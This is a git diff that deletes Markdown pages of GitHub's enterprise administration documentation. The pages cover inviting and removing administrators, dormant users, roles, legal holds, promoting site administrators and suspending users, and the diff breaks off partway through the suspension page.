/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise - - /github/setting-up-and-managing-your-enterprise-account/inviting-people-to-manage-your-enterprise-account - - /articles/inviting-people-to-collaborate-in-your-business-account - - /articles/inviting-people-to-manage-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/inviting-people-to-manage-your-enterprise - - /admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Administrator - - Enterprise - - User account -shortTitle: Invite people to manage ---- - -## About administrator management - -{% ifversion ghec %}If you do not use {% data variables.product.prodname_emus %}, you{% else %}You{% endif %} can add or remove enterprise owners{% ifversion ghec %} and billing managers{% endif %} in your enterprise. For more information about the privileges that come with each enterprise role, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise). - -{% ifversion ghes %} - -If you want to manage enterprise owners and billing managers for an enterprise account on {% data variables.product.prodname_dotcom_the_website %}, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise). -{% endif %} - -{% ifversion ghec %} - -If you do use {% data variables.product.prodname_emus %}, enterprise owners and billing managers can only be added or removed through your identity provider. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users). - -{% endif %} - -## {% ifversion ghec %}Inviting{% elsif ghes %}Adding{% endif %} an enterprise administrator to your enterprise account - -{% ifversion ghec %}After you invite someone to join the enterprise account, they must accept the emailed invitation before they can access the enterprise account. Pending invitations will expire after 7 days.{% endif %} - -You can see all pending invitations to become an administrator of your enterprise account. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-pending-invitations). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -{% data reusables.enterprise-accounts.administrators-tab %} -1. Above the list of administrators, click {% ifversion ghec %}**Invite admin**{% elsif ghes %}**Add owner**{% endif %}. -1. Type the username, full name, or email address of the person you want to invite to become an enterprise administrator, then select the appropriate person from the results. -{%- ifversion ghec %} -1. Select **Owner** or **Billing Manager**. -1. Click **Send Invitation**. -{%- endif %} -{%- ifversion ghes %} -1. Click **Add**. -{%- endif %} - -## Removing an enterprise administrator from your enterprise account - -Only enterprise owners can remove other enterprise administrators from the enterprise account. - -{% ifversion ghec %} -If the administrator you want to remove is a member of any organizations owned by the enterprise, you can choose **Convert to member**, which will remove their administrative role but retain their organization memberships, or **Remove from enterprise**, which will remove both their administrative role and organization memberships. -{% endif %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -{% data reusables.enterprise-accounts.administrators-tab %} -1. Next to the username of the person you'd like to remove, select the {% octicon "kebab-horizontal" aria-label="Administrator settings" %} dropdown menu, then click **Convert to member**{% ifversion ghec %} or **Remove from enterprise**{% endif %}. - ![Screenshot of a user in the enterprise administrators list. A dropdown menu, labeled with a kebab icon, is highlighted with an orange outline.](/assets/images/help/business-accounts/administrator-settings.png) -1. Read the confirmation, then click **Yes, convert USERNAME to member**{% ifversion ghec %} or **Yes, remove USERNAME**{% endif %}. - -## Further reading - -* [AUTOTITLE](/organizations/managing-membership-in-your-organization) -* [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles) diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/managing-dormant-users.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/managing-dormant-users.md deleted file mode 100644 index 2cc8926f6894..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/managing-dormant-users.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Managing dormant users -redirect_from: - - /enterprise/admin/articles/dormant-users - - /enterprise/admin/articles/viewing-dormant-users - - /enterprise/admin/articles/determining-whether-a-user-account-is-dormant - - /enterprise/admin/user-management/managing-dormant-users - - /admin/user-management/managing-dormant-users - - /admin/user-management/managing-users-in-your-enterprise/managing-dormant-users -intro: '{% data reusables.enterprise-accounts.dormant-user-activity-threshold %}' -permissions: "{% ifversion ghec %}Enterprise owners{% elsif ghes %}Site administrators{% endif %}" -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Accounts - - Enterprise - - Licensing ---- - -## About dormant users - -{% data reusables.enterprise-accounts.dormant-user-activity %} - -> [!NOTE] You cannot mark a dormant user as active. To become active, a user must perform one of the activities listed above. - -{% ifversion ghec %} -When assessing user dormancy, we only consider organizations, repositories, or sign-on events that are associated with the enterprise. For example, a user who has recently commented on an issue in a public repository outside of the enterprise may be considered dormant, while a user who has commented on an issue in a public repository within the enterprise will not be considered dormant. -{% endif %} - -A user account is considered to be dormant if the user {% ifversion ghec %} hasn't performed any of the previous activities in the past 30 days.{% elsif ghes %} meets the following criteria: - -* The user's account has existed for longer than the dormancy threshold {% data variables.location.product_location %}. -* The user hasn't performed any of the previous activities within the dormancy threshold. -* The user is not a site administrator for the instance. - -You can customize the dormancy threshold for {% data variables.location.product_location %}.{% endif %} - -Dormancy applies to both enterprise members and outside collaborators. - -{% ifversion ghes %} - -Dormant users are not automatically suspended. Consider suspending dormant users to release {% ifversion enterprise-licensing-language %}licenses{% else %}licensed seats{% endif %}. See [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/suspending-and-unsuspending-users). - -## Viewing dormant users - -{% data reusables.enterprise-accounts.viewing-dormant-users %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -1. In the left sidebar, click **Dormant users**. -1. To suspend all the dormant users in this list, at the top of the page, click **Suspend all**. - -## Determining whether a user account is dormant - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.search-user %} -{% data reusables.enterprise_site_admin_settings.click-user %} -1. In the **User info** section, view the status of the user's account. Any users labeled with "{% octicon "hourglass" aria-hidden="true" %} Dormant" are dormant, and users labeled with "{% octicon "hourglass" aria-hidden="true" %} "Active" are not. - - ![Screenshot of the "User info" section for a user. The "User info" heading is outlined. Under the heading, the user is marked as active.](/assets/images/enterprise/stafftools/active-user.png) - -## Configuring the dormancy threshold - -{% data reusables.enterprise_site_admin_settings.dormancy-threshold %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.options-tab %} -1. Under "Dormancy threshold", select the dropdown menu, and click the desired dormancy threshold. - -{% endif %} - -{% ifversion ghec %} - -## Downloading the dormant users report from your enterprise account - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.enterprise-accounts-compliance-tab %} -1. Scroll to "Reports". -1. Optionally, to generate a new report, next to "Dormant Users", click **New report**. -1. Under "Recent reports", next to the report you want to download, click **{% octicon "download" aria-hidden="true" %} Download**. -{% endif %} diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/managing-invitations-to-organizations-within-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/managing-invitations-to-organizations-within-your-enterprise.md deleted file mode 100644 index 1305c3baa424..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/managing-invitations-to-organizations-within-your-enterprise.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Managing invitations to organizations within your enterprise -intro: 'You can retry or cancel invitations to organizations within your enterprise, either one by one or multiple at a time.' -versions: - feature: enterprise-manage-organization-members -type: how_to -topics: - - Administrator - - Enterprise - - Organizations -shortTitle: Manage organization invitations -permissions: Enterprise owners can manage invitations to organizations within their enterprise. -redirect_from: - - /admin/user-management/managing-users-in-your-enterprise/managing-invitations-to-organizations-within-your-enterprise ---- - -You can manage invitations to your enterprise or organizations within your enterprise. - -For more information about viewing people in your enterprise or managing enterprise owners and billing managers, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-people-in-your-enterprise) and [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise). - -For more information about adding or removing members from your organization, see {% ifversion ghec %}[AUTOTITLE](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization){% else %}[AUTOTITLE](/organizations/managing-membership-in-your-organization/adding-people-to-your-organization){% endif %} and [AUTOTITLE](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization). - -## Retrying or canceling expired invitations - -Invitations expire after 7 days. You can retry or cancel expired invitations, either one by one or multiple at a time. Failed invitations to outside collaborators can also be found in this view. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -1. Under "{% octicon "person" aria-hidden="true" %} People", click **Failed invitations**. -1. Optionally, retry or cancel a single invitation. - * To the right of the invitation you want to cancel or retry, select the {% octicon "kebab-horizontal" aria-label="Show actions" %} dropdown menu and click **Retry invitation** or **Cancel invitation**. - - ![Screenshot of a user in the list of failed invitations. A dropdown menu labeled with a kebab icon, is outlined.](/assets/images/help/business-accounts/enterprise-invitation-retry-or-cancel.png) - * To confirm, click **Yes, retry** or **Yes, cancel**. - -1. Optionally, retry or cancel multiple invitations at the same time. - * Select the checkboxes next to the invitations you want to retry or cancel. - * At the top of the list, select the **X invitations selected** dropdown menu and click **Retry invitations** or **Cancel invitations**. - - ![Screenshot of the list of failed invitations. The dropdown menu above the list, labeled "2 invitations selected" is outlined.](/assets/images/help/enterprises/enterprise-invitations-multiple-selection.png) diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/managing-organization-members-in-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/managing-organization-members-in-your-enterprise.md deleted file mode 100644 index ef3e8c4d21a7..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/managing-organization-members-in-your-enterprise.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Managing organization members in your enterprise -intro: You can add or remove members from an organization in bulk. -permissions: Enterprise owners can add or remove organization members in bulk. -versions: - feature: enterprise-manage-organization-members -type: how_to -topics: - - Enterprise - - Organizations -shortTitle: Managing organization members -redirect_from: - - /admin/user-management/managing-users-in-your-enterprise/managing-organization-members-in-your-enterprise ---- - -Enterprise members that are added to an organization via the bulk method will not receive an email inviting them to the organization. They are added immediately as a member to the selected organizations. - -Members can also be added or removed from an organization at the organization level. For more information, see {% ifversion ghec %}[AUTOTITLE](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization){% else %}[AUTOTITLE](/organizations/managing-membership-in-your-organization/adding-people-to-your-organization){% endif %} and [AUTOTITLE](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -1. Select the checkbox next to each user you want to add or remove. -1. At the top of the member list, select the **X user(s) selected** dropdown menu, then click **Add to organizations** or **Remove from organizations**. - - > [!NOTE] - > * Users will be added as organization members. If the user is already an organization member or organization owner, the privileges will not be modified. - > * Organization owners cannot be removed from the organization via the bulk method. - - ![Screenshot of the list of enterprise members. A dropdown menu, labeled "1 user selected...", is expanded and highlighted with an orange outline.](/assets/images/help/business-accounts/enterprise-add-or-remove-from-org.png) - -1. In the popup, select the organizations you want to add or remove the user from. - - > [!NOTE] - > You can only select organizations where you're an organization owner. - -1. To confirm, click **Add user** or **Remove user**. -1. Optionally, to add or remove multiple users at the same time, select multiple checkboxes. Use the dropdown to select **Add to organizations** or **Remove from organizations**. diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md deleted file mode 100644 index 585d3f5a7188..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Managing support entitlements for your enterprise -intro: You can grant enterprise members the ability to manage support tickets for your enterprise account. -redirect_from: - - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise - - /admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise -versions: - ghec: '*' -topics: - - Enterprise - - Support -shortTitle: Manage support entitlements ---- - -## About support entitlements - -People with support entitlements for your enterprise account can use the support portal to open, view, and comment on support tickets associated with the enterprise account. - -Enterprise owners and billing managers automatically have a support entitlement. Enterprise owners can add support entitlements to a limited number of enterprise members. -* **{% data variables.product.premium_support_plan %}, {% data variables.product.standard_support_plan %}:** Up to 20 members -* **{% data variables.product.premium_plus_support_plan %}:** Up to 40 members - -## Adding a support entitlement to an enterprise member - -To add a support entitlement to a user, the user must already be a member of an organization that is owned by your enterprise. - -> [!NOTE] -> After you add a support entitlement, the enterprise member may need to sign out from {% data variables.contact.contact_landing_page_portal %}, then sign in again, before they can manage tickets. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -1. Under "Settings", click **Support**. -1. In the search bar, start typing the name or username of the person you want to give a support entitlement. Click their name in the list of matches. -1. Click **Add support entitlement**. - -## Removing a support entitlement from an enterprise member - -When a user is removed from the enterprise, their support entitlement will be automatically removed. - -If a user remains an enterprise member, you can manually remove their support entitlement. You cannot remove a support entitlement from enterprise owners or billing managers. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -1. In the sidebar under "Settings", click **Support**. -1. Under "Support members", to the right of the person you want to remove a support entitlement from, click {% octicon "trash" aria-label="remove support entitlement" %}. - -## Further reading - -* [AUTOTITLE](/support) diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization.md deleted file mode 100644 index 0d455f1309ca..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Placing a legal hold on a user or organization -intro: You can place a legal hold on a user or organization to ensure that repositories they own cannot be permanently removed from your enterprise. -redirect_from: - - /enterprise/admin/user-management/placing-a-legal-hold-on-a-user-or-organization - - /admin/user-management/placing-a-legal-hold-on-a-user-or-organization - - /admin/user-management/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization -versions: - ghes: '*' -type: how_to -topics: - - Accounts - - Auditing - - Enterprise - - Organizations - - User account -shortTitle: Place a legal hold ---- - -Usually, if someone deletes a repository, it will be available on disk for 90 days and can be restored via the site admin dashboard. After 90 days the repository is purged and deleted forever. If you place a legal hold on a user or organization, repositories they own are available for restore indefinitely. - -{% data reusables.enterprise_site_admin_settings.sign-in %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.search-user-or-org %} -{% data reusables.enterprise_site_admin_settings.click-user-or-org %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -1. Under "Legal hold", click **Place legal hold**. diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md deleted file mode 100644 index d142a8732c8e..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Promoting or demoting a site administrator -redirect_from: - - /enterprise/admin/articles/promoting-a-site-administrator - - /enterprise/admin/articles/demoting-a-site-administrator - - /enterprise/admin/user-management/promoting-or-demoting-a-site-administrator - - /admin/user-management/promoting-or-demoting-a-site-administrator - - /admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator -intro: 'Site administrators can promote any normal user account to a site administrator, as well as demote other site administrators to regular users.' -versions: - ghes: '*' -type: how_to -topics: - - Access management - - Accounts - - User account - - Enterprise -shortTitle: Manage administrators ---- - -> [!NOTE] For information about promoting a user to an organization owner, see the `ghe-org-admin-promote` section of [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-org-admin-promote). - -## Considerations with external authentication - -If you use certain external authentication features, you may not be able to manage promotion and demotion from the enterprise settings or command line: - -* If you use SAML authentication, and have _not_ selected **Disable administrator demotion/promotion** in the SAML settings in the site admin dashboard, administrator rights will be determined by your SAML provider. -* If you have enabled SCIM provisioning, for SCIM-provisioned users, you must manage roles from your identity provider. -* If LDAP Sync is enabled, and the `Administrators group` attribute is set when configuring LDAP access for users, those users will automatically have site administrator access to your instance. To promote users, you must add them to the LDAP `Administrators group`. - -## Promoting a user from the enterprise settings - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -{% data reusables.enterprise-accounts.administrators-tab %} -1. In the upper-right corner of the page, click **Add owner**. -1. In the search field, type the name of the user, then click **Add**. - -## Demoting a site administrator from the enterprise settings - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -{% data reusables.enterprise-accounts.administrators-tab %} -1. In the upper-left corner of the page, in the "Find an administrator" search field, type the username of the person you want to demote. -1. In the search results, find the username of the person you want to demote, then select the {% octicon "kebab-horizontal" aria-label="Administrator settings" %} dropdown menu and click **Convert to member**. - - ![Screenshot of a user in the enterprise administrators list. A dropdown menu, labeled with a kebab icon, is highlighted with an orange outline.](/assets/images/help/business-accounts/administrator-settings.png) - -## Promoting a user from the command line - -1. [SSH](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh) into your appliance. -1. Run [ghe-user-promote](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-user-promote) with the username to promote. - - ```shell - ghe-user-promote USERNAME - ``` - -## Demoting a site administrator from the command line - -1. [SSH](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh) into your appliance. -1. Run [ghe-user-demote](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-user-demote) with the username to demote. - - ```shell - ghe-user-demote USERNAME - ``` diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/rebuilding-contributions-data.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/rebuilding-contributions-data.md deleted file mode 100644 index 43a379fb41c1..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/rebuilding-contributions-data.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Rebuilding contributions data -intro: You may need to rebuild contributions data to link existing commits to a user account. -redirect_from: - - /enterprise/admin/articles/rebuilding-contributions-data - - /enterprise/admin/user-management/rebuilding-contributions-data - - /admin/user-management/rebuilding-contributions-data - - /admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Repositories - - User account -shortTitle: Rebuild contributions ---- -Whenever a commit is pushed to {% data variables.product.prodname_enterprise %}, it is linked to a user account if they are both associated with the same email address. However, existing commits are _not_ retroactively linked when a user registers a new email address or creates a new account. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.search-user %} -{% data reusables.enterprise_site_admin_settings.click-user %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -1. To the right of "Rebuild commit contributions data", click **Rebuild**. - -You should see the "Rebuild commit contributions jobs enqueued" banner at the top of the screen indicating that {% data variables.product.prodname_enterprise %} will now start background jobs to re-link commits with that user's account. diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise.md deleted file mode 100644 index 698797097cb4..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Removing a member from your enterprise -intro: You can remove an enterprise member from an enterprise. -permissions: Enterprise owners can remove an enterprise member from an enterprise. -versions: - feature: remove-enterprise-members -type: how_to -topics: - - Enterprise -shortTitle: Remove member -redirect_from: - - /admin/user-management/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise ---- - -## About removal of enterprise members - -If your enterprise does not use {% data variables.product.prodname_emus %}, you can remove an enterprise member from {% data variables.product.prodname_dotcom %}. When you remove a member from your enterprise, the member is removed from all organizations owned by your enterprise. Removing a member from your enterprise also removes any of the member's administrative roles, such as the owner or billing manager roles. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise). - -If the enterprise member you're removing is the last owner of an organization owned by your enterprise, you will become an owner of that organization. - -If your enterprise or any of the organizations owned by your enterprise uses an identity provider (IdP) to manage organization membership, the member may be added back to the organization by the IdP. Make sure to also make any necessary changes in your IdP. - -If your enterprise does use {% data variables.product.prodname_emus %}, you must remove the enterprise members through your identity provider (IdP) and the SCIM integration instead. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#about-organization-membership-management). - -## Removing a member from your enterprise - -> [!NOTE] -> If an enterprise member uses only {% data variables.product.prodname_ghe_server %}, and not {% data variables.product.prodname_ghe_cloud %}, you cannot remove the enterprise member this way. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -1. To the right of the person you want to remove, select the {% octicon "kebab-horizontal" aria-label="Member settings" %} dropdown menu and click **Remove from enterprise**. - - ![Screenshot of a user in the list of enterprise members. A dropdown menu, labeled with a kebab icon, is highlighted with an orange outline.](/assets/images/help/business-accounts/remove-member.png) diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/roles-in-an-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/roles-in-an-enterprise.md deleted file mode 100644 index a889f5c1a4f7..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/roles-in-an-enterprise.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Roles in an enterprise -intro: "Learn which roles you can assign to control access to your enterprise's settings and data." -redirect_from: - - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise - - /github/setting-up-and-managing-your-enterprise-account/roles-for-an-enterprise-account - - /articles/permission-levels-for-a-business-account - - /articles/roles-for-an-enterprise-account - - /github/setting-up-and-managing-your-enterprise/roles-in-an-enterprise - - /admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise ---- - -## About roles in an enterprise - -All users that are part of your enterprise have one of the following roles. - -* **Enterprise owner:** Can manage all enterprise settings, members, and policies -{%- ifversion ghec %} -* **Billing manager:** Can manage enterprise billing settings -{%- endif %} -* **Enterprise member:** Is a member or owner of any organization in the enterprise -{%- ifversion guest-collaborators %} -* **Guest collaborator:** Can be granted access to repositories or organizations, but has limited access by default ({% data variables.product.prodname_emus %} only) -{%- endif %} - -{% ifversion ghec %}For information about which users consume a license, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/about-per-user-pricing#people-that-consume-a-license).{% endif %} - -People with collaborator access to repositories are listed in your enterprise's "People" tab, but are not enterprise members and do not have access to the enterprise. See {% ifversion ghec %}[AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators-or-repository-collaborators).{% else %}[AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators).{% endif %} - -## How do I assign roles? - -{% ifversion ghec %} -If you use an **enterprise with personal accounts**: - -* People become enterprise members when they are added as a member or owner of an organization. See [AUTOTITLE](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization). -* You can invite someone to become an enterprise owner or billing manager. See [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise). - -If you use an **{% data variables.enterprise.prodname_emu_enterprise %}**: - -* You must provision all users through your identity provider (IdP). -* You select each user's enterprise role using your IdP. The role cannot be changed on {% data variables.product.prodname_dotcom %}. -* To assign the guest collaborator role, you may need to update your IdP. - -For more information about the different types of enterprise accounts, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/choosing-an-enterprise-type-for-github-enterprise-cloud#about-types-of-enterprises). - -{% elsif ghes %} - -When a user has joined your {% data variables.product.prodname_ghe_server %} instance, you can: - -* Add the user to an organization. See [AUTOTITLE](/organizations/managing-membership-in-your-organization/adding-people-to-your-organization). -* Invite the user to become an enterprise owner. See [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise). - -If you provision users with SCIM, you assign each user's enterprise role on your identity provider (IdP). The role cannot be changed on {% data variables.product.prodname_dotcom %}. - -{% endif %} - -## Enterprise owners - -Enterprise owners have complete control over the enterprise and can take every action, including: - -* Managing administrators -* {% ifversion ghec %}Adding and removing {% elsif ghes %}Managing{% endif %} organizations{% ifversion remove-enterprise-members %} -* Removing enterprise members from all organizations{% endif %} -* Managing enterprise settings -* Enforcing policy across organizations -{% ifversion ghec %}- Managing billing settings{% endif %} - -For security, we recommend making **only a few people** enterprise owners. - -Enterprise owners do not have access to organization settings or content by default, but they can gain access by joining any organization. See [AUTOTITLE](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise). - -{% ifversion ghec %} - -## Billing managers - -Billing managers only have access to your enterprise's billing settings. They can: -* View and manage user licenses, usage-based billing, and other billing settings -* View a list of billing managers -* Add or remove other billing managers - -Billing managers do not have access to organization settings or content by default except for internal repositories within an enterprise in which they are a member. - -{% endif %} - -## Enterprise members - -Members of organizations owned by your enterprise are automatically members of the enterprise. - -Enterprise members: - -* Cannot access or configure enterprise settings. -* Can access all repositories with "internal" visibility across any organization in the enterprise. See [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories). -* May have different levels of access to various organizations and repositories. To view the resources someone has access to, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise). - -{% ifversion guest-collaborators %} - -## Guest collaborators - -{% data reusables.emus.guest-collaborators-note %} - -{% data reusables.emus.about-guest-collaborators %} - -You may need to update your IdP application to use guest collaborators. See [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/enabling-guest-collaborators). - -{% endif %} diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md deleted file mode 100644 index 0987c49f615f..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Suspending and unsuspending users -redirect_from: - - /enterprise/admin/articles/suspending-a-user - - /enterprise/admin/articles/unsuspending-a-user - - /enterprise/admin/articles/viewing-suspended-users - - /enterprise/admin/articles/suspended-users - - /enterprise/admin/articles/suspending-and-unsuspending-users - - /enterprise/admin/user-management/suspending-and-unsuspending-users - - /admin/user-management/suspending-and-unsuspending-users - - /admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users -intro: 'If a user leaves or moves to a different part of the company, you should remove or modify their ability to access {% data variables.location.product_location %}.' -versions: - ghes: '*' -type: how_to -topics: - - Access management - - Enterprise - - Security - - User account -shortTitle: Manage user suspension ---- - -## About suspended users - -If employees leave the company, you can suspend their {% data variables.product.prodname_ghe_server %} accounts to open up user licenses in your {% data variables.product.prodname_enterprise %} license while preserving the issues, comments, repositories, gists, and other data they created. Suspended users cannot sign into your instance, nor can they push or pull code. - -When you suspend a user, the change takes effect immediately with no notification to the user. If the user attempts to pull or push to a repository, they'll receive this error: - -```shell -$ git clone git@[hostname]:john-doe/test-repo.git -Cloning into 'test-repo'... -ERROR: Your account is suspended. Please check with -your installation administrator. -fatal: The remote end hung up unexpectedly -``` - -> [!TIP] {% data variables.product.prodname_dotcom %} recommends suspending users where possible, rather than deleting their accounts. - -## Scenarios where you cannot suspend users - -Before suspending site administrators, you must demote them to regular users. See [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator). - -If you use certain external authentication features, you cannot manage user suspension from the site admin dashboard or command line: - -* If LDAP Sync is enabled for {% data variables.location.product_location %}, users are automatically suspended based on the scenarios that are described in [AUTOTITLE](/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap#enabling-ldap-sync). -* If SCIM provisioning is enabled, SCIM-provisioned users must be suspended or unsuspended through your identity provider. - -## Viewing suspended users in the site admin dashboard - -{% data reusables.enterprise_site_admin_settings.access-settings %} -1. In the left sidebar, click **Suspended users**. -1. A list of suspended users displays. - -## Suspending a user from the site admin dashboard - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.search-user %} -{% data reusables.enterprise_site_admin_settings.click-user %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -1. Under "Account suspension," in the "Danger Zone" section, click **Suspend**. -1. In the "Log reason" field, type a reason to suspend the user. -1. Click **Suspend**. - -## Unsuspending a user from the site admin dashboard - -As when suspending a user, unsuspending a user takes effect immediately. The user will not be notified. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -1. In the left sidebar, click **Suspended users**. -1. Click the name of the user account that you would like to unsuspend. -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -1. Under "Account suspension," in the "Danger Zone" section, click 